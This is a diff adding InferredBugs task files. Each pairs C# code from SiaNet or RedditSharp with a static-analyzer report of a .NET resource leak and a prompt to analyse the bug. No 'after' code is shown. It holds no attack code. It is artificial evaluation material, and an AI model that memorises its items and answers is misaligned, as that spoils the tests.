+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using SiaNet.Engine;
+using SiaNet.Engine.Layers;
+using System;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+using System.Text;
+using TensorFlow;
+using DeviceType = SiaNet.Engine.DeviceType;
+
+namespace SiaNet.Backend.TensorFlowLib
+{
+    public class SiaNetBackend : IBackend
+    {
+        int counter = 0;
+        internal TFGraph tf;
+        internal TFSession session;
+        private TFSession.Runner runner;
+
+        public SiaNetBackend()
+        {
+            this.session = new TFSession(new TFGraph());
+            this.tf = session.Graph;
+
+            runner = session.GetRunner();
+        }
+
+        public static SiaNetBackend Instance
+        {
+            get
+            {
+                return new SiaNetBackend();
+            }
+        }
+
+        private TFOutput In(Tensor x)
+        {
+            return tf.Const(((NDArrayTensor)x).InternalTensor);
+        }
+
+        private TFOutput In(float value, params long[] shape)
+        {
+            return tf.Const(new TFTensor(value));
+        }
+
+        private TFOutput In(int[] data)
+        {
+            return tf.Const(new TFTensor(data));
+        }
+
+        private TFOutput In(long[] data)
+        {
+            return tf.Const(new TFTensor(data));
+        }
+
+        private TFOutput In(int value)
+        {
+            return tf.Const(new TFTensor(value));
+        }
+
+        private TFOutput In(long value)
+        {
+            return tf.Const(new TFTensor(value));
+        }
+
+        private NDArrayTensor Out(TFOutput x)
+        {
+            NDArrayTensor tensor = new NDArrayTensor
+            {
+                InternalTensor = InternalEval(x)
+            };
+
+            return tensor;
+        }
+
+        private NDArrayTensor Out(TFTensor x)
+        {
+            NDArrayTensor tensor = new NDArrayTensor
+            {
+                InternalTensor = x
+            };
+
+            return tensor;
+        }
+
+        public Tensor Abs(Tensor x)
+        {
+            return Out(tf.Abs(In(x)));
+        }
+
+        public Tensor Acos(Tensor x)
+        {
+            return Out(tf.Acos(In(x)));
+        }
+
+        public Tensor Add(Tensor a, Tensor b)
+        {
+            return Out(tf.Add(In(a), In(b)));
+        }
+
+        public Tensor Add(Tensor a, float b)
+        {
+            return Out(tf.Add(In(a), In(b)));
+        }
+
+        public Tensor Add(float a, Tensor b)
+        {
+            return Out(tf.Add(In(a), In(b)));
+        }
+
+        public Tensor Argmax(Tensor x, int dim = 0)
+        {
+            return Out(tf.ArgMax(In(x), In(dim)));
+        }
+
+        public Tensor Argmin(Tensor x, int dim = 0)
+        {
+            return Out(tf.ArgMin(In(x), In(dim)));
+        }
+
+        public Tensor Asin(Tensor x)
+        {
+            return Out(tf.Asin(In(x)));
+        }
+
+        public Tensor Atan(Tensor x)
+        {
+            return Out(tf.Atan(In(x)));
+        }
+
+        public Tensor Atan2(Tensor lhs, Tensor rhs)
+        {
+            return Out(tf.Atan2(In(lhs), In(rhs)));
+        }
+
+        public Tensor Ceil(Tensor x)
+        {
+            return Out(tf.Ceil(In(x)));
+        }
+
+        public Tensor Clip(Tensor x, float min, float max)
+        {
+            return Out(tf.ClipByValue(In(x), In(min), In(max)));
+        }
+
+        public Tensor Col2Im(Tensor cols, long[] x_shape, Tuple<int, int> kernalSize, int padding = 1, int stride = 1)
+        {
+            throw new NotImplementedException();
+        }
+
+        public Tensor Constant(float value, long[] shape)
+        {
+            return Out(tf.Constant(value, new TFShape(shape)));
+        }
+
+        public Tensor Cos(Tensor x)
+        {
+            return Out(tf.Cos(In(x)));
+        }
+
+        public Tensor Cosh(Tensor x)
+        {
+            return Out(tf.Cosh(In(x)));
+        }
+
+        public Tensor CreateVariable(float[] data, long[] shape, string name = "")
+        {
+            var t = tf.Const(new TFTensor(data));
+            t = tf.Reshape(t, tf.Const(new TFShape(shape).AsTensor()));
+            return Out(t);
+        }
+
+        public Tensor Diag(Tensor x)
+        {
+            return Out(tf.Diag(In(x)));
+        }
+
+        public void Dispose(Tensor x)
+        {
+            x.Dispose();
+        }
+
+        public Tensor Div(Tensor a, Tensor b)
+        {
+            return Out(tf.Div(In(a), In(b)));
+        }
+
+        public Tensor Div(Tensor a, float b)
+        {
+            return Out(tf.Div(In(a), In(b)));
+        }
+
+        public Tensor Div(float a, Tensor b)
+        {
+            return Out(tf.Div(In(a), In(b)));
+        }
+
+        public Tensor Dot(Tensor a, Tensor b)
+        {
+            return Out(tf.MatMul(In(a), In(b)));
+        }
+
+        public float Epsilon()
+        {
+            return 1e-7f;
+        }
+
+        public Tensor EqualTo(Tensor a, Tensor b)
+        {
+            return Out(tf.Equal(In(a), In(b)));
+        }
+
+        public object Eval(Tensor x)
+        {
+            TFTensor[] result = session.Run(new TFOutput[] { }, new TFTensor[] { }, new[] { In(x) });
+            return result[0].GetValue();
+        }
+
+        public TFTensor InternalEval(TFOutput x)
+        {
+            TFTensor[] result = session.Run(new TFOutput[] { }, new TFTensor[] { }, new[] { x });
+            return result[0];
+        }
+
+        public Tensor Exp(Tensor x)
+        {
+            return Out(tf.Exp(In(x)));
+        }
+
+        public Tensor Floor(Tensor x)
+        {
+            return Out(tf.Floor(In(x)));
+        }
+
+        public Array GetArray(Tensor x)
+        {
+            return (Array)((NDArrayTensor)x).InternalTensor.GetValue();
+        }
+
+        public DataType GetDataType(Tensor x)
+        {
+            DataType r = DataType.Float32;
+
+            switch (In(x).OutputType)
+            {
+                case TFDataType.Unknown:
+                    break;
+                case TFDataType.Float:
+                    r = DataType.Float32;
+                    break;
+                case TFDataType.Double:
+                    r = DataType.Float64;
+                    break;
+                case TFDataType.Int32:
+                    r = DataType.Int32;
+                    break;
+                case TFDataType.UInt8:
+                    r = DataType.Int8;
+                    break;
+                case TFDataType.Int16:
+                    break;
+                case TFDataType.Int8:
+                    r = DataType.Int8;
+                    break;
+                default:
+                    throw new NotSupportedException();
+            }
+
+            return r;
+        }
+
+        public long[] GetShape(Tensor x)
+        {
+            return tf.GetShape(In(x));
+        }
+
+        public Tensor GreaterThan(Tensor a, Tensor b)
+        {
+            return Out(tf.Greater(In(a), In(b)));
+        }
+
+        public Tensor GreaterThan(float a, Tensor b)
+        {
+            return Out(tf.Greater(In(a), In(b)));
+        }
+
+        public Tensor GreaterThan(Tensor a, float b)
+        {
+            return Out(tf.Greater(In(a), In(b)));
+        }
+
+        public Tensor GreaterThanEqual(Tensor a, Tensor b)
+        {
+            return Out(tf.GreaterEqual(In(a), In(b)));
+        }
+
+        public Tensor GreaterThanEqual(float a, Tensor b)
+        {
+            return Out(tf.GreaterEqual(In(a), In(b)));
+        }
+
+        public Tensor GreaterThanEqual(Tensor a, float b)
+        {
+            return Out(tf.GreaterEqual(In(a), In(b)));
+        }
+
+        public Tensor Im2Col(Tensor x, Tuple<int, int> kernalSize, int padding = 1, int stride = 1)
+        {
+            throw new NotImplementedException();
+        }
+
+        public Tensor L2Normalize(Tensor x, int axis = -1)
+        {
+            var y = Max(Sum(Square(x), axis), axis);
+            return x / Sqrt(y);
+        }
+
+        public Tensor LessThan(Tensor a, Tensor b)
+        {
+            return Out(tf.Less(In(a), In(b)));
+        }
+
+        public Tensor LessThan(float a, Tensor b)
+        {
+            return Out(tf.Less(In(a), In(b)));
+        }
+
+        public Tensor LessThan(Tensor a, float b)
+        {
+            return Out(tf.Less(In(a), In(b)));
+        }
+
+        public Tensor LessThanEqual(Tensor a, Tensor b)
+        {
+            return Out(tf.LessEqual(In(a), In(b)));
+        }
+
+        public Tensor LessThanEqual(float a, Tensor b)
+        {
+            return Out(tf.LessEqual(In(a), In(b)));
+        }
+
+        public Tensor LessThanEqual(Tensor a, float b)
+        {
+            return Out(tf.LessEqual(In(a), In(b)));
+        }
+
+        public Tensor Log(Tensor x)
+        {
+            return Out(tf.Log(In(x)));
+        }
+
+        public Tensor Log10(Tensor x)
+        {
+            throw new NotImplementedException();
+        }
+
+        public Tensor Log1p(Tensor x)
+        {
+            return Out(tf.Log1p(In(x)));
+        }
+
+        public float Max(Tensor x)
+        {
+            return Out(tf.Max(In(x), In(x.Shape))).ToScalar();
+        }
+
+        public Tensor Max(Tensor x, int dim)
+        {
+            return Out(tf.Max(In(x), In(dim)));
+        }
+
+        public Tensor Max(Tensor x, params int[] dim)
+        {
+            return Out(tf.Max(In(x), In(dim)));
+        }
+
+        public Tensor Maximum(Tensor a, Tensor b)
+        {
+            return Out(tf.Maximum(In(a), In(b)));
+        }
+
+        public Tensor Maximum(Tensor a, float b)
+        {
+            return Out(tf.Maximum(In(a), In(b)));
+        }
+
+        public float Mean(Tensor x)
+        {
+            return Out(tf.ReduceMean(In(x))).ToScalar();
+        }
+
+        public Tensor Mean(Tensor x, int dim)
+        {
+            return Out(tf.Mean(In(x), In(dim)));
+        }
+
+        public Tensor Mean(Tensor x, params int[] dim)
+        {
+            return Out(tf.Mean(In(x), In(dim)));
+        }
+
+        public float Min(Tensor x)
+        {
+            return Out(tf.Min(In(x), In(x.Shape))).ToScalar();
+        }
+
+        public Tensor Min(Tensor x, int dim)
+        {
+            return Out(tf.Min(In(x), In(dim)));
+        }
+
+        public Tensor Min(Tensor x, params int[] dim)
+        {
+            return Out(tf.Min(In(x), In(dim)));
+        }
+
+        public Tensor Minimum(Tensor a, Tensor b)
+        {
+            return Out(tf.Minimum(In(a), In(b)));
+        }
+
+        public Tensor Minimum(Tensor a, float b)
+        {
+            return Out(tf.Minimum(In(a), In(b)));
+        }
+
+        public Tensor Mul(Tensor a, Tensor b)
+        {
+            return Out(tf.Mul(In(a), In(b)));
+        }
+
+        public Tensor Mul(Tensor a, float b)
+        {
+            return Out(tf.Mul(In(a), In(b)));
+        }
+
+        public Tensor Mul(float a, Tensor b)
+        {
+            return Out(tf.Mul(In(a), In(b)));
+        }
+
+        public Tensor Neg(Tensor x)
+        {
+            return Out(tf.Neg(In(x)));
+        }
+
+        public Tensor Pow(Tensor x, float value)
+        {
+            return Out(tf.Pow(In(x), In(value)));
+        }
+
+        public void Print(Tensor x, string title = "")
+        {
+            string message = tf.Print(In(x), new TFOutput[] { In(x) }).ToString() ;
+        }
+
+        public Tensor RandomBernoulli(long[] shape, float p)
+        {
+            var result = RandomUniform(shape, 0, 1);
+            result = result > p;
+            return result;
+        }
+
+        public Tensor RandomNormal(long[] shape, float mean, float stddev, int? seed = null)
+        {
+            return Out(tf.RandomNormal(new TFShape(shape), mean, stddev, seed));
+        }
+
+        public Tensor RandomUniform(long[] shape, float min, float max, int? seed = null)
+        {
+            return Out(tf.RandomUniform(new TFShape(shape), min, max, seed));
+        }
+
+        public Tensor Reshape(Tensor x, params long[] shape)
+        {
+            return Out(tf.Reshape(In(x), In(shape)));
+        }
+
+        public Tensor Round(Tensor x)
+        {
+            return Out(tf.Round(In(x)));
+        }
+
+        public void SetDevice(DeviceType device)
+        {
+            switch (device)
+            {
+                case DeviceType.Default:
+                    break;
+                case DeviceType.CPU:
+                    break;
+                case DeviceType.CUDA:
+                    break;
+                case DeviceType.OpenCL:
+                    throw new NotSupportedException("Supported device CPU and CUDA");
+                default:
+                    break;
+            }
+        }
+
+        public Tensor Sigmoid(Tensor x)
+        {
+            return Out(tf.Sigmoid(In(x)));
+        }
+
+        public Tensor Sin(Tensor x)
+        {
+            return Out(tf.Sin(In(x)));
+        }
+
+        public Tensor Sinh(Tensor x)
+        {
+            return Out(tf.Sinh(In(x)));
+        }
+
+        public Tensor SliceCols(Tensor x, long start, long end)
+        {
+            throw new NotImplementedException();
+        }
+
+        public Tensor SliceRows(Tensor x, long start, long end)
+        {
+            long size = end - start;
+            return Out(tf.Slice(In(x), In(start), In(size)));
+        }
+
+        public Tensor Softmax(Tensor x, int axis = -1)
+        {
+            return Out(tf.Softmax(In(x)));
+        }
+
+        public Tensor Softplus(Tensor x, int axis = -1)
+        {
+            return Out(tf.Softplus(In(x)));
+        }
+
+        public Tensor Sqrt(Tensor x)
+        {
+            return Out(tf.Sqrt(In(x)));
+        }
+
+        public Tensor Square(Tensor x)
+        {
+            return Out(tf.Square(In(x)));
+        }
+
+        public Tensor Sub(Tensor a, Tensor b)
+        {
+            return Out(tf.Sub(In(a), In(b)));
+        }
+
+        public Tensor Sub(Tensor a, float b)
+        {
+            return Out(tf.Sub(In(a), In(b)));
+        }
+
+        public Tensor Sub(float a, Tensor b)
+        {
+            return Out(tf.Sub(In(a), In(b)));
+        }
+
+        public float Sum(Tensor x)
+        {
+            return Out(tf.ReduceSum(In(x))).ToScalar();
+        }
+
+        public Tensor Sum(Tensor x, int dim)
+        {
+            dim = dim < 0 ? x.DimCount + dim : dim;
+            return Out(tf.ReduceSum(In(x), In(dim)));
+        }
+
+        public Tensor Sum(Tensor x, params int[] dim)
+        {
+            foreach (var item in dim)
+            {
+                x = Sum(x, item);
+            }
+
+            return x;
+        }
+
+        public Tensor Tan(Tensor x)
+        {
+            return Out(tf.Tan(In(x)));
+        }
+
+        public Tensor Tanh(Tensor x)
+        {
+            return Out(tf.Tanh(In(x)));
+        }
+
+        public Tensor Tile(Tensor x, int n, int axis = 0)
+        {
+            return Out(tf.Tile(In(x), In(n)));
+        }
+
+        public Tensor Tpow(float value, Tensor x)
+        {
+            return Out(tf.Pow(In(value), In(x)));
+        }
+
+        public Tensor Transpose(Tensor x)
+        {
+            return Out(tf.Transpose(In(x)));
+        }
+
+        public Tensor Transpose(Tensor x, params int[] dims)
+        {
+            return Out(tf.Transpose(In(x), tf.Const(new TFTensor(dims))));
+        }
+
+        public Tensor Trunc(Tensor x)
+        {
+            return Out(tf.TruncatedNormal(In(x), TFDataType.Float));
+        }
+
+        public string UUID(string name)
+        {
+            return name + "_" + counter++;
+        }
+
+        public ActivationFunc GetActFunc()
+        {
+            return new SiaNetActivations(this);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from SiaNet.Backend.TensorFlowLib.NDArrayTensor SiaNet.Backend.TensorFlowLib.SiaNetBackend::Out(TensorFlow.TFOutput) at Line 564) of type SiaNet.Engine.Tensor in method "Single SiaNetBackend.Sum(Tensor)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Single SiaNetBackend.Sum(Tensor)
+
+### File:
+Backends/SiaNet.Backend.TensorFlow/SiaNetBackend.cs
+
+### Key:
+SiaNetBackend.cs|Sum|DOTNET_RESOURCE_LEAK
+
+### Hash:
+d569c16d09fdb5461ada60da25559472
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2455/instruction.md b/inferredbugs-2455/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c239d344953c6f4f65f49a30251438fbaec56338
--- /dev/null
+++ b/inferredbugs-2455/instruction.md
@@ -0,0 +1,152 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SiaNet
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Text;
+using System.Threading;
+using SiaNet.Layers;
+using TensorSharp;
+
+namespace SiaNet.Optimizers
+{
+    public class Adam : BaseOptimizer
+    {
+        public bool AmsGrad { get; set; }
+
+        public float Beta1 { get; set; }
+
+        public float Beta2 { get; set; }
+
+        private Dictionary<string, Tensor> ms;
+        private Dictionary<string, Tensor> vs;
+        private Dictionary<string, Tensor> vhats;
+        private float lr_t = 0;
+
+        public Adam(float lr = 0.01f, float beta_1 = 0.9f, float beta_2 = 0.999f, float decayRate = 0, float epsilon= 1e-07f, bool amsgrad = false)
+            : base(lr)
+        {
+            AmsGrad = amsgrad;
+            Beta1 = beta_1;
+            Beta2 = beta_2;
+            DecayRate = decayRate;
+            ms = new Dictionary<string, Tensor>();
+            vs = new Dictionary<string, Tensor>();
+            vhats = new Dictionary<string, Tensor>();
+        }
+
+        public override void Update(int iteration, BaseLayer layer)
+        {
+            if (DecayRate > 0)
+            {
+                LearningRate = LearningRate * (1 / 1 + DecayRate * iteration);
+            }
+
+            float t = iteration + 1;
+            lr_t = Convert.ToSingle(LearningRate * Math.Sqrt(1f - Math.Pow(Beta2, t)) / (1f - Math.Pow(Beta1, t)));
+            List<Thread> workerThreads = new List<Thread>();
+            foreach (var param in layer.Params)
+            {
+                ApplyUpdate(param.Value);
+            }
+
+            foreach (var item in workerThreads)
+            {
+                item.Join();
+            }
+        }
+
+        private void ApplyUpdate(Parameter param)
+        {
+            //Variable param = (Variable)p;
+            if (!ms.ContainsKey(param.Name))
+                ms[param.Name] = Tensor.Constant(0, Global.Device, DType.Float32, param.Data.Shape);
+
+            if (!vs.ContainsKey(param.Name))
+                vs[param.Name] = Tensor.Constant(0, Global.Device, DType.Float32, param.Data.Shape);
+
+            if (!vhats.ContainsKey(param.Name))
+            {
+                if (AmsGrad)
+                    vhats[param.Name] = Tensor.Constant(0, Global.Device, DType.Float32, param.Data.Shape);
+                else
+                    vhats[param.Name] = Tensor.Constant(0, Global.Device, DType.Float32, 1);
+            }
+
+            var m_t = (Beta1 * ms[param.Name]) + (1 - Beta1) * param.Grad;
+            var v_t = (Beta2 * vs[param.Name]) + (1 - Beta2) * Square(param.Grad);
+
+            if (AmsGrad)
+            {
+                Tensor vhat_t = TOps.Maximum(vhats[param.Name], v_t);
+
+                param.Data = param.Data - lr_t * m_t / (Sqrt(vhat_t) + EPSILON);
+                vhats[param.Name] = vhat_t;
+            }
+            else
+            {
+                param.Data = param.Data - lr_t * m_t / (Sqrt(v_t) + EPSILON);
+            }
+
+            ms[param.Name] = m_t;
+            vs[param.Name] = v_t;
+
+            param.ApplyConstraint();
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from TensorSharp.Tensor TensorSharp.Tensor::Constant(System.Single,TensorSharp.IAllocator,TensorSharp.DType,System.Int64[]) at Line 68) of type TensorSharp.Tensor, Leaked resource (returned from TensorSharp.Tensor TensorSharp.Tensor::Constant(System.Single,TensorSharp.IAllocator,TensorSharp.DType,System.Int64[]) at Line 70) of type TensorSharp.Tensor, Leaked resource (returned from TensorSharp.Tensor TensorSharp.Tensor::Constant(System.Single,TensorSharp.IAllocator,TensorSharp.DType,System.Int64[]) at Line 63) of type TensorSharp.Tensor, Leaked resource (returned from TensorSharp.Tensor TensorSharp.Tensor::Constant(System.Single,TensorSharp.IAllocator,TensorSharp.DType,System.Int64[]) at Line 60) of type TensorSharp.Tensor in method "Void Adam.ApplyUpdate(Parameter)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Adam.ApplyUpdate(Parameter)
+
+### File:
+SiaNet/Optimizers/Adam.cs
+
+### Key:
+Adam.cs|ApplyUpdate|DOTNET_RESOURCE_LEAK
+
+### Hash:
+e7b5c5d3ded79de8aa52a04d29230a3b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2462/instruction.md b/inferredbugs-2462/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1db038ee701331b432ff6abe908cd5c0c2496c41
--- /dev/null
+++ b/inferredbugs-2462/instruction.md
@@ -0,0 +1,141 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** RedditSharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace RedditSharp
+{
+    public class MultipartFormBuilder
+    {
+        public HttpWebRequest Request { get; set; }
+
+        private string Boundary { get; set; }
+        private MemoryStream Buffer { get; set; }
+        private TextWriter TextBuffer { get; set; }
+
+        public MultipartFormBuilder(HttpWebRequest request)
+        {
+            // TODO: See about regenerating the boundary when needed
+            Request = request;
+            var random = new Random();
+            Boundary = "----------" + CreateRandomBoundary();
+            request.ContentType = "multipart/form-data; boundary=" + Boundary;
+            Buffer = new MemoryStream();
+            TextBuffer = new StreamWriter(Buffer);
+        }
+
+        private string CreateRandomBoundary()
+        {
+            // TODO: There's probably a better way to go about this
+            const string characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+            string value = "";
+            var random = new Random();
+            for (int i = 0; i < 10; i++)
+                value += characters[random.Next(characters.Length)];
+            return value;
+        }
+
+        public void AddDynamic(object data)
+        {
+            var type = data.GetType();
+            var properties = type.GetProperties();
+            foreach (var property in properties)
+            {
+                var entry = Convert.ToString(property.GetValue(data, null));
+                AddString(property.Name, entry);
+            }
+        }
+
+        public void AddString(string name, string value)
+        {
+            TextBuffer.Write("{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n{2}\r\n",
+                "--" + Boundary, name, value);
+            TextBuffer.Flush();
+        }
+
+        public void AddFile(string name, string filename, byte[] value, string contentType)
+        {
+            TextBuffer.Write("{0}\r\nContent-Disposition: form-data; name=\"{1}\"; filename=\"{2}\"\r\nContent-Type: {3}\r\n\r\n",
+                "--" + Boundary, name, filename, contentType);
+            TextBuffer.Flush();
+            Buffer.Write(value, 0, value.Length);
+            Buffer.Flush();
+            TextBuffer.Write("\r\n");
+            TextBuffer.Flush();
+        }
+
+        public void Finish()
+        {
+            TextBuffer.Write("--" + Boundary + "--");
+            TextBuffer.Flush();
+            var stream = Request.GetRequestStream();
+            Buffer.Seek(0, SeekOrigin.Begin);
+            Buffer.WriteTo(stream);
+            stream.Close();
+            Buffer.Seek(0, SeekOrigin.Begin);
+            var reader = new StreamReader(Buffer);
+            var data = reader.ReadToEnd();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource reader of type System.IO.StreamReader in method "Void MultipartFormBuilder.Finish()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void MultipartFormBuilder.Finish()
+
+### File:
+RedditSharp/MultipartFormBuilder.cs
+
+### Key:
+MultipartFormBuilder.cs|Finish|DOTNET_RESOURCE_LEAK
+
+### Hash:
+bb5504d3e17dbdaad74c09095db7a6b9
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2463/instruction.md b/inferredbugs-2463/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bcf083ca7efd56012aa92fa9ae6f141fd31091fb
--- /dev/null
+++ b/inferredbugs-2463/instruction.md
@@ -0,0 +1,215 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** RedditSharp
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Reflection;
+using System.Text;
+using System.Threading;
+using System.Web;
+
+namespace RedditSharp
+{
+    public sealed class WebAgent : IWebAgent
+    {
+        /// <summary>
+        /// Additional values to append to the default RedditSharp user agent.
+        /// </summary>
+        public static string UserAgent { get; set; }
+
+        /// <summary>
+        /// It is strongly advised that you leave this enabled. Reddit bans excessive
+        /// requests with extreme predjudice.
+        /// </summary>
+        public static bool EnableRateLimit { get; set; }
+
+        public static string Protocol { get; set; }
+
+        /// <summary>
+        /// It is strongly advised that you leave this set to Burst or Pace. Reddit bans excessive
+        /// requests with extreme predjudice.
+        /// </summary>
+        public static RateLimitMode RateLimit { get; set; }
+
+        /// <summary>
+        /// The method by which the WebAgent will limit request rate
+        /// </summary>
+        public enum RateLimitMode
+        {
+            /// <summary>
+            /// Limits requests to one every two seconds
+            /// </summary>
+            Pace,
+            /// <summary>
+            /// Restricts requests to thirty per minute
+            /// </summary>
+            Burst,
+            /// <summary>
+            /// Does not restrict request rate. ***NOT RECOMMENDED***
+            /// </summary>
+            None
+        }
+
+        /// <summary>
+        /// The root domain RedditSharp uses to address Reddit.
+        /// www.reddit.com by default
+        /// </summary>
+        public static string RootDomain { get; set; }
+
+        /// <summary>
+        /// Used to make calls against Reddit's API using OAuth23
+        /// </summary>
+        public string AccessToken { get; set; }
+
+        public CookieContainer Cookies { get; set; }
+        public string AuthCookie { get; set; }
+
+        private static DateTime _lastRequest;
+        private static DateTime _burstStart;
+        private static int _requestsThisBurst;
+
+        public HttpWebRequest CreateRequest(string url, string method)
+        {
+            var prependDomain = !Uri.IsWellFormedUriString(url, UriKind.Absolute);
+            switch (RateLimit)
+            {
+                case RateLimitMode.Pace:
+                    while ((DateTime.Now - _lastRequest).TotalSeconds < 2)// Rate limiting
+                        Thread.Sleep(250);
+                    _lastRequest = DateTime.Now;
+                    break;
+                case RateLimitMode.Burst:
+                    if (_requestsThisBurst == 0)//this is first request
+                        _burstStart = DateTime.Now;
+                    if (_requestsThisBurst >= 30) //limit has been reached
+                    {
+                        while ((DateTime.UtcNow - _burstStart).TotalSeconds < 60)
+                            Thread.Sleep(250);
+                        _burstStart = DateTime.Now;
+                    }
+                    _requestsThisBurst++;
+                    break;
+            }
+            HttpWebRequest request;
+            if (prependDomain)
+                request = (HttpWebRequest)WebRequest.Create(String.Format("{0}://{1}{2}", Protocol, RootDomain, url));
+            else
+                request = (HttpWebRequest)WebRequest.Create(url);
+            request.CookieContainer = Cookies;
+            if (Type.GetType("Mono.Runtime") != null)
+            {
+                var cookieHeader = Cookies.GetCookieHeader(new Uri("http://reddit.com"));
+                request.Headers.Set("Cookie", cookieHeader);
+            }
+            if (!string.IsNullOrEmpty(AccessToken))// use OAuth
+            {
+                request.Headers.Set("Authorization", "bearer " + AccessToken);//Must be included in OAuth calls
+            }
+            request.Method = method;
+            request.UserAgent = UserAgent + " - with RedditSharp by /u/sircmpwn";
+            return request;
+        }
+
+        public HttpWebRequest CreateGet(string url)
+        {
+            return CreateRequest(url, "GET");
+        }
+
+        public HttpWebRequest CreatePost(string url)
+        {
+            var request = CreateRequest(url, "POST");
+            request.ContentType = "application/x-www-form-urlencoded";
+            return request;
+        }
+
+        public string GetResponseString(Stream stream)
+        {
+            var data = new StreamReader(stream).ReadToEnd();
+            stream.Close();
+            return data;
+        }
+
+        public void WritePostBody(Stream stream, object data, params string[] additionalFields)
+        {
+            var type = data.GetType();
+            var properties = type.GetProperties(BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public);
+            string value = "";
+            foreach (var property in properties)
+            {
+                var attr = property.GetCustomAttributes(typeof(RedditAPINameAttribute), false).FirstOrDefault() as RedditAPINameAttribute;
+                string name = attr == null ? property.Name : attr.Name;
+                var entry = Convert.ToString(property.GetValue(data, null));
+                value += name + "=" + HttpUtility.UrlEncode(entry).Replace(";", "%3B").Replace("&", "%26") + "&";
+            }
+            for (int i = 0; i < additionalFields.Length; i += 2)
+            {
+                var entry = Convert.ToString(additionalFields[i + 1]);
+                if (entry == null)
+                    entry = string.Empty;
+                value += additionalFields[i] + "=" + HttpUtility.UrlEncode(entry).Replace(";", "%3B").Replace("&", "%26") + "&";
+            }
+            value = value.Remove(value.Length - 1); // Remove trailing &
+            var raw = Encoding.UTF8.GetBytes(value);
+            stream.Write(raw, 0, raw.Length);
+            stream.Close();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.StreamReader::.ctor() at Line 126) of type System.IO.StreamReader in method "String WebAgent.GetResponseString(Stream)".
+
+### Severity:
+ERROR
+
+### Procedure:
+String WebAgent.GetResponseString(Stream)
+
+### File:
+RedditSharp/WebAgent.cs
+
+### Key:
+WebAgent.cs|GetResponseString|DOTNET_RESOURCE_LEAK
+
+### Hash:
+4d09d7d6e58d48775dc34923492f272a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
